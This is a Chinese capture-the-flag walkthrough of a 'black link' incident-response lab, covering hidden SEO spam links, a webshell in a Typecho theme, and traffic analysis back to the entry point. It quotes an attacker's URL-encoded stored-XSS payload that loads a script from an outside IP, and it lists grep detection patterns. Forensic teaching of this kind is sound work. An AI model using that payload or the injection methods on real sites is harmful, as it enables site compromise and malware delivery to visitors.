linux实战-黑链——玄机靶场
黑链的特征:
- 隐藏链接:黑链通常隐藏在网站页面中,使用CSS、JavaScript或其他手段使其对普通用户不可见,但仍然能被搜索引擎爬虫检测到。
- 恶意内容:这些链接指向的内容可能包含恶意软件、钓鱼页面或其他不良内容,试图感染用户的计算机或窃取个人信息。
- 伪装链接:黑链可能伪装成合法的链接,通过使用误导性的锚文本或URL,诱导用户点击。
- 大量生成:黑链通常通过自动化工具大量生成,散布在多个网站上,以提高恶意网站的搜索引擎排名。
总结来说,黑链是一种通过不正当手段在网站上植入的链接,旨在提升恶意网站的搜索引擎排名或传播恶意软件。
在实际操作中,黑链通常通过以下方式植入:
- 网站漏洞:利用网站或插件的漏洞,通过SQL注入、跨站脚本(XSS)等手段植入黑链。
- 权限滥用:通过获取网站管理员权限,手动添加黑链。
- 文件上传漏洞:通过上传恶意文件(如带有后门的PHP文件),在服务器上执行代码,植入黑链。
找到黑链添加在哪个文件 flag 格式 flag{xxx.xxx}
一般流程,手动检查网站的HTML和PHP文件,寻找可疑的代码片段,或者检查特定的文件夹,某些文件夹更容易被黑客攻击,常见的如:/var/www/html,/tmp,/uploads,/images,在linux里可以使用命令进行全局搜索。
grep -rnw '/var/www/html/' -e '黑链'这里直接指定在网站目录下搜索。
-r:递归搜索。这个选项告诉 grep 在指定目录下的所有子目录中进行搜索。
-n:显示行号。这个选项会在匹配的行前面显示行号,方便定位。
-w:匹配整个单词。这个选项告诉 grep 只匹配整个单词(即匹配边界)。在这里,黑链 被视为一个完整的单词,只有当它作为一个独立的单词出现时才会被匹配。
-e '黑链':指定要搜索的字符串。在这个例子中,我们要搜索的是包含 黑链 字符串的所有文件。
可以看到,甚至能够将压缩包里的内容都进行匹配。

tips
关于关键词的选取需要进行收集,在搜索到可能的有黑链的文件后还需要进一步进行人工分析。
黑链隐藏方式:
- 隐藏的 HTML 元素:使用 CSS 将链接隐藏在网页中,如 display:none 或 visibility:hidden。
- JavaScript 动态加载:使用 JavaScript 动态加载黑链,使其在页面加载时才出现。
- URL 重定向:通过 URL 重定向,将合法链接引导到恶意网站。
- 伪装成正常内容:黑链可能伪装成正常的内容或链接,混杂在正常网页内容中。
例如匹配关键字:'href=', 'http'
一般先用D盾扫一遍,提高工作效率。
flag{header.php}
webshell的绝对路径 flag{xxxx/xxx/xxx/xxx/}
通过命令行查shell:grep -rnw '/var/www/html/' -e 'eval('

一般使用D盾等工具进行扫描找出。
flag{/var/www/html/usr/themes/default/404.php}
黑客注入黑链文件的 md5 md5sum file flag{md5}
一般黑客注入黑链文件,常见的有:
- JavaScript:通过JavaScript代码动态插入隐藏链接或
iframe。可以通过脚本在用户浏览页面时实时插入黑链,常见于页面底部或隐藏的元素中。 - HTML:直接在 HTML 文件中嵌入隐藏的链接。链接通常设置为
display: none或放置在不可见的位置(如超出视口的区域)。 - PHP:在PHP文件中嵌入生成隐藏链接的代码。利用服务器端代码生成黑链,可以隐藏在模板文件、插件文件等处,较难被发现。
- CSS:通过 CSS 文件定义隐藏链接的样式。使用
display: none、visibility: hidden或position: absolute; left: -9999px等方式隐藏链接。 - iframe:在页面中嵌入一个隐藏的
iframe,iframe内部加载包含黑链的页面。iframe 可以指向外部恶意页面,通过隐藏的 iframe 难以被发现。 - .htaccess:使用 Apache 服务器的 .htaccess文件进行URL重写,植入黑链。通过重写规则隐蔽地将用户引导至黑链页面。
在前面找webshell时,找到过一个js文件里存在shell代码,优先分析这个js代码。

代码第一部分是在404.php中注入iframe,第二部分就是写shell。


对文件计算md5:

windos下命令:certutil -hashfile <文件名称> MD5
flag{10c18029294fdec7b6ddab76d9367c14}
攻击入口是哪里?url请求路径,最后面加/ flag{/xxxx.xxx/xxxx/x/}
在目录下有个流量包,下载进行分析即可。

根据之前找到的poc1.js文件,可以直接筛选http contains "poc1.js"。

这里有多个流量都存在poc1.js,需要进一步进行分析,但是发现了一个xss注入痕迹。
推测攻击者是利用这个poc写入poc1.js的,所以利用这个poc进行筛选,注:需要通过url编码。
http contains "http%3A%2F%2Fxxx.xxx.com%2F%22%3E%3C%2Fa%3E%3Cscript%2Fsrc%3Dhttp%3A%2F%2F192.168.20.130%2Fpoc1.js%3E%3C%2Fscript%3E%3Ca%2Fhref%3D%22%23"

然后追踪http流进行分析,通过查找关键字poc1.js进行分析,目的是找到前面的poc是在什么时候写入到网站。

找到第一处,流量要成对分析,请求包里的url值为poc,提交后发生了302跳转。

跳转后发出的请求路径/index.php/archives/1/此时poc已经在cookie里了。

在响应包中发现,xss已经被插入。

Typecho1.2 - 1.2.1-rc前台评论存储xss到rce 漏洞复现-分析-修复 - JunBlog
flag{/index.php/archives/1/}
相关文章:
linux实战-黑链——玄机靶场
黑链的特征: 隐藏链接:黑链通常隐藏在网站页面中,使用CSS、JavaScript或其他手段使其对普通用户不可见,但仍然能被搜索引擎爬虫检测到。恶意内容:这些链接指向的内容可能包含恶意软件、钓鱼页面或其他不良内容&#x…...
鸿蒙NEXT开发案例:字数统计
【引言】 本文将通过一个具体的案例——“字数统计”组件,来探讨如何在鸿蒙NEXT框架下实现这一功能。此组件不仅能够统计用户输入文本中的汉字、中文标点、数字、以及英文字符的数量,还具有良好的用户界面设计,使用户能够直观地了解输入文本…...
uniapp vue2项目迁移vue3项目
uniapp vue2项目迁移vue3项目,必须适配的部分 一、main.js 创建应用实例 // 之前 - Vue 2 import Vue from vue import App from ./App Vue.config.productionTip false // vue3 不再需要 App.mpType app // vue3 不再需要 const app new Vue({ ...App }) …...
16.C++STL 3(string类的模拟,深浅拷贝问题)
⭐本篇重点:string类的模拟,自己实现一个简单的string类 ⭐本篇代码:c学习/05.string类的学习 橘子真甜/c-learning-of-yzc - 码云 - 开源中国 (gitee.com) 目录 一. 经典string类的模拟 1.1 深浅拷贝问题 1.2 使用深拷贝完成经典string类的…...
神经网络10-Temporal Fusion Transformer (TFT)
Temporal Fusion Transformer (TFT) 是一种专为时序数据建模而设计的深度学习模型,它结合了Transformer架构和其他技术,旨在有效地处理和预测时序数据中的复杂模式。TFT 于 2020 年由 Google Research 提出,旨在解决传统模型在时序预测中的一…...
“iOS profile文件与私钥证书文件不匹配”总结打ipa包出现的问题
目录 文件和证书未加载或特殊字符问题 证书过期或Profile文件错误 确认开发者证书和私钥是否匹配 创建证书选择错误问题 申请苹果 AppId时勾选服务不全问题 总结 在上线ios平台的时候,在Hbuilder中打包遇见了问题,生成ipa文件时候,一…...
《图像梯度与常见算子全解析:原理、用法及效果展示》
简介:本文深入探讨图像梯度相关知识,详细介绍图像梯度是像素灰度值在不同方向的变化速度,并以 “pig.JPG” 图像为例,通过代码展示如何选取图像部分区域并分析其像素值以论证图像梯度与边缘信息的关联。接着全面阐述了 Sobel 算子,…...
【c++篇】:探索c++中的std::string类--掌握字符串处理的精髓
✨感谢您阅读本篇文章,文章内容是个人学习笔记的整理,如果哪里有误的话还请您指正噢✨ ✨ 个人主页:余辉zmh–CSDN博客 ✨文章所属专栏:c篇–CSDN博客 文章目录 前言一.std::string对象的创建二.std::string对象的访问三.std::str…...
LlamaIndex ollama 搭建本地RAG应用,建立本地知识库
目录 简介安装前的准备下载ollama创建llamaindex conda环境,为后面编码作准备 环境变量迁移ollama到其他盘运行ollama方式一方式二禁止ollama开机自启动运行第一个模型 Chatbox聊天下载Chatbox配置ollama地址和模型验证 建立自身特定知识数据搭配大语言模型创建项目…...
draggable的el-dialog实现对话框标题可以选择
请看图 这个对话框使用了el-dialog并且draggable属性设置成了true,所以标题栏这里就可以拖动,现在用户想选中标题栏的文本进而复制。我看到这个需求头都大了。 我能想到的方案有三个:1. 取消draggable为true 2. 标题文案后面加一个复制按钮 …...
2024年Android面试总结
2024年Android面试总结 1.动画类型有哪些?插值器原理? 2.StringBuffer和StringBuilder区别? 3.jvm内存模型? 4.线程池7大核心参数及原理? 5.Android多进程通信方式有哪些?各自的优缺点? 6…...
树莓派3:64位系统串口(UART)使用问题的解决方法
前言 当我们要使用串口进行zigbee的短距离通信时,发现无法使用串口. 原因 树莓派3bCPU内部有两个串口,一个硬件串口(就是我们平时使用的UART),还有一个迷你串口(mini-uart),在老版本的树莓派中把硬件串口分配在GPIO上,可以单独使用.但是在新的树莓派中官方把硬件串口给了蓝牙…...
SemiDrive E3 硬件设计系列---唤醒电路设计
一、前言 E3 系列芯片是芯驰半导体高功能安全的车规级 MCU,对于 MCU 的硬件设计部分,本系列将会分模块进行讲解,旨在介绍 E3 系列芯片在硬件设计方面的注意事项与经验,本文主要讲解 E3 硬件设计中唤醒电路部分的设计。 二、RTC 模…...
淘宝接口高并发采集核心要点解读,开启电商数据智能应用新纪元
一、引言 在电商蓬勃发展的今天,淘宝作为全球知名的电商巨头,其平台上的数据犹如一座蕴藏无限价值的宝藏。准确且高效地采集淘宝接口数据,并通过高并发技术实现大规模数据获取,对于电商企业的精准营销、市场趋势分析、竞品监测以及…...
C#里怎么样快速使用LINQ实现查询?
C#里怎么样快速使用LINQ实现查询? 在C#里使用LINQ,是一个方便的功能, 不过,要学会使用这部分的功能,需要比较多的学习时间,否则,使用起就比较难。 因为它的表现方式,与编程语言通用的功能,还是差别比较大。 当数据量比较小,没有特定的顺序时,使用LINQ访问会比较好…...
2024新版微软edge浏览器输入百度网址时自动补全tn=68018901……小尾巴的解决
以前一直是Windows11 21h2版本,浏览器内输入baidu不会自动补全tnxx的百度推广小尾巴。然后前几天在BIOS内开启了tpm2.0,升级Windows11到了24h2版本。 发现在edge浏览器内只要输入b,就会自动补全为baidu.com?tnXXX的这么一个百度推广形式。开…...
uni-app打包H5自定义微信分享
1、配置分享信息 修改uni-app的index.html,添加Open Graph(OG)标签来配置分享信息。 <!DOCTYPE html> <html lang="en"><head><meta charset="UTF-8" /><meta name="description" content="标题"/>…...
大模型专栏--大模型应用场景
紧接着第一篇,什么是大模型,这篇文章讨论一下大模型的应用场景和应用方式有哪些? 基础使用 随着 GPT 的出现,AI 大模型已经越来越多得出现在日常生活和学术研究,工作中。 按照使用方向有以下几种: 自然语…...
骑砍2霸主MOD开发(29)-顶点动画
一.定制化顶点动画(MorphAnimation) 定制化顶点动画用于人物Agent的面部表情. 1.创建MorphAnimation对应静态资源morph_animation.tpac 2.Agent设置对应MorphAnimation [EngineMethod("set_agent_facial_animation", false)] void SetAgentFacialAnimation(UIntPtr …...
-Dspring.profiles.active=dev与--spring.profiles.active=dev的区别
在Spring Boot应用程序中,-Dspring.profiles.activedev和--spring.profiles.activedev都用于指定要激活的Spring配置文件(profile),但它们在不同的环境中使用,并且有不同的作用域。 -Dspring.profiles.activedev&#…...
k8s从入门到放弃之Ingress七层负载
k8s从入门到放弃之Ingress七层负载 在Kubernetes(简称K8s)中,Ingress是一个API对象,它允许你定义如何从集群外部访问集群内部的服务。Ingress可以提供负载均衡、SSL终结和基于名称的虚拟主机等功能。通过Ingress,你可…...
鱼香ros docker配置镜像报错:https://registry-1.docker.io/v2/
使用鱼香ros一件安装docker时的https://registry-1.docker.io/v2/问题 一键安装指令 wget http://fishros.com/install -O fishros && . fishros出现问题:docker pull 失败 网络不同,需要使用镜像源 按照如下步骤操作 sudo vi /etc/docker/dae…...
20个超级好用的 CSS 动画库
分享 20 个最佳 CSS 动画库。 它们中的大多数将生成纯 CSS 代码,而不需要任何外部库。 1.Animate.css 一个开箱即用型的跨浏览器动画库,可供你在项目中使用。 2.Magic Animations CSS3 一组简单的动画,可以包含在你的网页或应用项目中。 3.An…...
CSS | transition 和 transform的用处和区别
省流总结: transform用于变换/变形,transition是动画控制器 transform 用来对元素进行变形,常见的操作如下,它是立即生效的样式变形属性。 旋转 rotate(角度deg)、平移 translateX(像素px)、缩放 scale(倍数)、倾斜 skewX(角度…...
手机平板能效生态设计指令EU 2023/1670标准解读
手机平板能效生态设计指令EU 2023/1670标准解读 以下是针对欧盟《手机和平板电脑生态设计法规》(EU) 2023/1670 的核心解读,综合法规核心要求、最新修正及企业合规要点: 一、法规背景与目标 生效与强制时间 发布于2023年8月31日(OJ公报&…...
恶补电源:1.电桥
一、元器件的选择 搜索并选择电桥,再multisim中选择FWB,就有各种型号的电桥: 电桥是用来干嘛的呢? 它是一个由四个二极管搭成的“桥梁”形状的电路,用来把交流电(AC)变成直流电(DC)。…...
第八部分:阶段项目 6:构建 React 前端应用
现在,是时候将你学到的 React 基础知识付诸实践,构建一个简单的前端应用来模拟与后端 API 的交互了。在这个阶段,你可以先使用模拟数据,或者如果你的后端 API(阶段项目 5)已经搭建好,可以直接连…...
sshd代码修改banner
sshd服务连接之后会收到字符串: SSH-2.0-OpenSSH_9.5 容易被hacker识别此服务为sshd服务。 是否可以通过修改此banner达到让人无法识别此服务的目的呢? 不能。因为这是写的SSH的协议中的。 也就是协议规定了banner必须这么写。 SSH- 开头,…...
从零手写Java版本的LSM Tree (一):LSM Tree 概述
🔥 推荐一个高质量的Java LSM Tree开源项目! https://github.com/brianxiadong/java-lsm-tree java-lsm-tree 是一个从零实现的Log-Structured Merge Tree,专为高并发写入场景设计。 核心亮点: ⚡ 极致性能:写入速度超…...
简单介绍C++中 string与wstring
在C中,string和wstring是两种用于处理不同字符编码的字符串类型,分别基于char和wchar_t字符类型。以下是它们的详细说明和对比: 1. 基础定义 string 类型:std::string 字符类型:char(通常为8位)…...
